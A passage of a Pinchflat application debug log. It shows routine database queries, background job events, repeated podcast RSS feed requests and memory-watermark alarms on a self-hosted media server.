QUERY OK source="media_items" db=0.4ms idle=210.5ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 20:09:52.764 [debug] QUERY OK source="tasks" db=43.9ms idle=8.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [95, 1, ~U[2026-01-10 20:09:52Z], ~U[2026-01-10 20:09:52Z]] 20:09:52.767 [info] {"args":{"id":1},"id":94,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":15857368,"event":"job:stop","queue_time":697733,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 20:10:00.066 [info] {"source":"oban","duration":2848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:00.887 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:10:30.068 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:00.071 [info] {"source":"oban","duration":1739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:00.889 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:11:24.996 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:11:24.997 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:11:25.059 [debug] QUERY OK source="sources" db=60.7ms queue=0.1ms idle=1400.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:11:25.061 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=1462.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:11:25.065 [debug] QUERY OK source="source_metadata" db=2.8ms queue=0.1ms idle=1464.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:11:25.088 [debug] QUERY OK source="media_metadata" db=22.1ms idle=889.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:11:25.088 [info] Sent 200 in 92ms 20:11:30.074 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:58.851 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 20:12:00.076 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:00.892 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:12:18.067 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:12:18.067 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:12:18.070 [debug] QUERY OK source="sources" db=1.3ms queue=0.3ms idle=1470.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:12:18.072 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=1472.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:12:18.074 [debug] QUERY OK source="source_metadata" db=0.5ms idle=1475.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:12:18.075 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=780.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:12:18.076 [info] Sent 200 in 9ms 20:12:30.079 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:00.082 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:00.894 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:13:30.085 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:58.867 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 20:14:00.089 [info] {"source":"oban","duration":1727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:00.896 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:14:30.092 [info] {"source":"oban","duration":1876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:00.094 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:00.897 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:15:30.097 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:00.099 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:00.899 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:16:30.102 [info] {"source":"oban","duration":1765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:43.246 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:16:43.246 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:16:43.248 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=1649.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:16:43.250 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=1650.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:16:43.252 [debug] QUERY OK source="source_metadata" db=0.5ms idle=1232.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:16:43.254 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.5ms idle=654.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:16:43.255 [info] Sent 200 in 8ms 20:17:00.105 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:00.901 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:17:30.108 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:48.266 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:17:48.267 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:17:48.269 [debug] QUERY OK source="sources" db=1.6ms idle=1669.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:17:48.271 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=1089.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:17:48.273 [debug] QUERY OK source="source_metadata" db=0.5ms queue=0.2ms idle=674.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:17:48.275 [debug] QUERY OK source="media_metadata" db=0.7ms idle=675.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:17:48.275 [info] Sent 200 in 9ms 20:18:00.111 [info] {"source":"oban","duration":1813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:00.903 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:18:30.113 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:00.116 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:00.906 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:19:30.118 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:00.120 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:00.907 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:20:30.122 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:00.124 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:00.914 [info] {"source":"oban","duration":4344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:21:30.127 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:58.942 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 20:22:00.129 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:00.916 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:22:01.695 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:22:01.695 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:22:01.696 [debug] QUERY OK source="sources" db=0.7ms idle=899.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:22:01.699 [debug] QUERY OK source="media_items" db=1.4ms queue=0.3ms idle=780.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:22:01.701 [debug] QUERY OK source="source_metadata" db=0.4ms idle=38.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:22:01.702 [debug] QUERY OK source="media_metadata" db=0.2ms queue=0.2ms idle=39.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:22:01.703 [info] Sent 200 in 8ms 20:22:30.132 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:00.134 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:00.918 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:23:30.137 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:32.007 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:23:32.007 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:23:32.010 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=985.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:23:32.011 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=347.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:23:32.014 [debug] QUERY OK source="source_metadata" db=0.2ms queue=0.3ms idle=349.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:23:32.015 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.1ms idle=350.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:23:32.016 [info] Sent 200 in 8ms 20:23:58.957 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 20:24:00.139 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:00.921 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:24:30.143 [info] {"source":"oban","duration":1905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:00.145 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:00.922 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:25:30.148 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:00.151 [info] {"source":"oban","duration":1862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:00.925 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:26:30.153 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:59.361 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:26:59.361 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:26:59.363 [debug] QUERY OK source="sources" db=1.8ms idle=1698.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:26:59.366 [debug] QUERY OK source="media_items" db=1.4ms queue=1.0ms idle=1700.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:26:59.369 [debug] QUERY OK source="source_metadata" db=0.4ms idle=1704.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:26:59.370 [debug] QUERY OK source="media_metadata" db=1.2ms queue=0.1ms idle=1705.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:26:59.371 [info] Sent 200 in 10ms 20:27:00.155 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:00.927 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:27:30.158 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:00.160 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:00.928 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:28:30.162 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:38.798 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:28:38.799 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:28:38.801 [debug] QUERY OK source="sources" db=1.2ms idle=1136.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:28:38.802 [debug] QUERY OK source="media_items" db=0.9ms idle=1138.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:28:38.826 [debug] QUERY OK source="source_metadata" db=0.5ms queue=0.1ms idle=1033.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:28:38.827 [debug] QUERY OK source="media_metadata" db=0.8ms queue=0.1ms idle=163.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:28:38.828 [info] Sent 200 in 29ms 20:29:00.164 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:00.930 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:29:30.167 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:00.170 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:00.932 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:30:30.172 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:00.175 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:00.936 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:31:30.177 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:39.681 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:31:39.706 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: 